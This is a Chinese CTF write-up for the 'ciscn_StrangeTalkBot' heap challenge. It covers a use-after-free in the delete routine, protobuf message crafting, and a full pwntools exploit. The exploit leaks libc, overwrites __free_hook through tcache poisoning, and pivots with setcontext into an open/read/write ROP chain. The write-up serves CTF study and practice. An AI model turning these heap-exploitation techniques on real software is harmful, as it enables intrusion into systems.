ciscn_StrangeTalkBot
保护检查

源码分析
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { __int64 v3; // [rsp+0h] [rbp-10h] __int64 v4; // [rsp+8h] [rbp-8h]
sub_1763(); while ( 1 ) { memset(byte_A060, 0, sizeof(byte_A060)); puts("You can try to have friendly communication with me now: "); v3 = read(0, byte_A060, 0x400uLL); v4 = sub_192D(0LL, v3, (__int64)byte_A060); if ( !v4 ) break; sub_155D( *(_QWORD *)(v4 + 24), *(_QWORD *)(v4 + 32), *(_QWORD *)(v4 + 40), *(_QWORD *)(v4 + 48), *(const void **)(v4 + 56)); } sub_1329(); }
|
首先需要进行输入,然后在v4 = sub_192D(0LL, v3, (__int64)byte_A060);进行处理,v4不等于0才能进入后来的操作,这个sub_192D(0LL, v3, (__int64)byte_A060)里面很长,一点也看不懂,看到网上的师傅说这是protobuf。
sub_155D
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| char *__fastcall sub_155D(__int64 choice, unsigned __int64 index, __int64 size_1, __int64 len, const void *content) { size_t v6; // [rsp+18h] [rbp-18h]
v6 = size_1; if ( index >= 0x21 ) sub_1329(); if ( (unsigned __int64)len >= 0xF1 ) sub_1329(); if ( (unsigned __int64)size_1 >= 0xF1 ) sub_1329(); if ( size_1 < len ) v6 = len; if ( choice == 4 ) return delete(index); if ( choice > 4 ) goto LABEL_19; if ( choice == 3 ) return (char *)show(index); if ( choice == 1 ) return (char *)add(index, v6, len, content); if ( choice != 2 ) LABEL_19: sub_1329(); return (char *)edit(index, len, content); }
|
到这应该就是正常的堆题了,前几个增改查都是挺正常
delete
1 2 3 4 5 6 7 8 9 10 11 12 13
| char *__fastcall delete(__int64 a1) { char *result; // rax
result = (char *)*((_QWORD *)&unk_A460 + a1); if ( result ) { free(*((void **)&unk_A460 + a1)); result = &byte_A060[a1]; byte_A060[a1] = 0; } return result; }
|
在delete函数中没有把指针置零,代码中置零的地方好像无关紧要,有uaf漏洞
思路
程序开了沙箱,我们就需要进行orw操作,但是rop链只能在栈上才可以利用,目前只能在对上构造rop链,这时就需要用到setcontext函数
在函数中会对一些寄存器进行赋值操作

最开始了解到的是基于rdi进行赋值,这个还没注意,发现已经变成了基于rdx赋值,还有变化就是以前是push rcx和ret操作,现在把rcx变成了r10,但是偏移还是没变的。

所以利用hook的时候不能直接跳到这,应该先想办法给rdx进行赋值,看到其他师傅用的这个

我们可以在堆上先布置好信息,这样就可以先给rdx赋值,然后再利用后面的call操作跳到setcontext的代码处,然后进行正常操作
初识protobuf
安装
sudo apt-get install protobuf-compiler
创建proto文件
在ida中有协议词

创建一个 devicmesg.proto文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| syntax = 'proto3'; package pack.base;
message devicmesg {
sint32 actionid = 1;
sint32 msgidx = 2;
sint32 msgsize = 3;
bytes msgcontent = 4;
}
|
创建一个文件夹output
然后进行编译protoc --python_out=./output ./devicmesg.proto,就会在output目录下生成一个py文件

这样就可以在python脚本中使用protobuf了
此时我的目录中
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| from pwn import * from ctypes import * import sys sys.path.append('./output') //将当前目录下的 "output" 文件夹添加到 Python 解释器的模块搜索路径中 import devicmesg_pb2 context(os='linux',arch='amd64',log_level='debug') p = process("./pwn") libc = ELF("./libc-2.31.so") def debug(): gdb.attach(p) def add(index,size,content): msg = devicmesg_pb2.devicmesg() msg.actionid = 1 msg.msgidx = index msg.msgsize = size msg.msgcontent = content payload = msg.SerializeToString() p.recv() p.send(payload) def edit(index,size,content): msg = devicmesg_pb2.devicmesg() msg.actionid = 2 msg.msgidx = index msg.msgsize = size msg.msgcontent = content payload = msg.SerializeToString() p.recv() p.send(payload) def show(index): msg = devicmesg_pb2.devicmesg() msg.actionid = 3 msg.msgidx = index msg.msgsize = 1 msg.msgcontent = "aa" payload = msg.SerializeToString() p.recv() p.send(payload) def delete(index): msg = devicmesg_pb2.devicmesg() msg.actionid = 4 msg.msgidx = index msg.msgsize = 1 msg.msgcontent = "aa" payload = msg.SerializeToString() p.recv() p.send(payload)
for i in range(1,10): add(i,0xf0,"aa") for i in range(1,9): delete(i) show(8) p.recv(0x38) heap_base = u64(p.recv(8)) - 0xd70 p.recv(0x18) libcbase = u64(p.recvuntil("\x7f")[-6:].ljust(8,'\x00')) - 0x1ECBE0 print(hex(heap_base)) print(hex(libcbase)) free_hook = libcbase + libc.sym['__free_hook'] setcontext = libcbase + 0x54F5D pop_rdi_ret = libcbase + 0x0000000000023b6a pop_rsi_ret = libcbase + 0x000000000002601f pop_rdx_ret = libcbase + 0x0000000000142c92 open_addr = libcbase + libc.sym['open'] read_addr = libcbase + libc.sym['read'] write_addr = libcbase + libc.sym['write'] mov_rdx_rdi_ = libcbase + 0x151990 add(10,0x20,"aa") add(11,0x20,"aa") delete(11) delete(10) payload = p64(free_hook - 8) edit(10,0x20,payload) add(12,0x20,"aa") payload = '\x00'*8 + p64(mov_rdx_rdi_) add(13,0x20,payload) ret = libcbase + 0x0000000000022679 orw = heap_base + 0x310 flag = orw + 8*17 buf = heap_base + 0x3000 payload = (p64(heap_base + 0x1700)*2 + p64(setcontext)*4).ljust(0xa0, '\x00') + p64(orw) + p64(ret) add(14,0xc0,payload)
rop = p64(pop_rdi_ret) + p64(flag) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0) + p64(open_addr) rop += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(buf) + p64(pop_rdx_ret) + p64(0x20) + p64(read_addr) rop += p64(pop_rdi_ret) + p64(1) + p64(write_addr) rop += "flag\x00\x00\x00" edit(1,0xf0,rop) #debug()
delete(14)
#debug()
p.interactive()
|

参考
http://t.csdn.cn/4clfJ
http://t.csdn.cn/wr3YH